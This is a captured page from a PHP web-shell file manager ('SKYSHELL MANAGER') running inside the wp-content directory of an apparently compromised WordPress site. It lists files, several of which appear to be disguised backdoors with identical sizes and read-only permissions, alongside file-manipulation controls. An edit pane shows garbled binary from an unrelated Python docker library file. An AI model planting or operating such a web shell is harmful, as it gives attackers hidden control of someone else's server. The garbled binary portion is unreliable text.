📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
voigtlaborg
/
wp-content
/
Name
Size
Perm
Actions
📁
themes
-
0755
🗑️
🏷️
🔒
📄
api.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
goods.php
173.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: config.cpython-312.pyc
� q_a� � �, � d dl Z ddlmZ G d� d� Zy)� N� )�utilsc �$ � e Zd Z ej d� dd�� Z ej d� ej d� d� � � Z ej d� ej d� d� � � Z ej d� d d�� Z y) �ConfigApiMixinz1.30Nc � � t |t � s|j d� }t j |� }|j d� }||||d�}| j d� }| j | j ||�� d� S )a Create a config Args: name (string): Name of the config data (bytes): Config data to be stored labels (dict): A mapping of labels to assign to the config templating (dict): dictionary containing the name of the templating driver to be used expressed as { name: <templating_driver_name>} Returns (dict): ID of the newly created config zutf-8�ascii)�Data�Name�Labels� Templatingz/configs/create)�dataT) � isinstance�bytes�encode�base64� b64encode�decode�_url�_result� _post_json)�self�namer �labels� templating�body�urls �3/usr/lib/python3/dist-packages/docker/api/config.py� create_configzConfigApiMixin.create_config s� � � �$��&��;�;�w�'�D�����%���{�{�7�#�����$� �� �i�i�)�*���|�|��O�O�C�d�O�+�T� � � �idc �h � | j d|� }| j | j |� d� S )a2 Retrieve config metadata Args: id (string): Full ID of the config to inspect Returns (dict): A dictionary of metadata Raises: :py:class:`docker.errors.NotFound` if no config with that ID exists �/configs/{0}T)r r �_get)r r r s r �inspect_configzConfigApiMixin.inspect_config'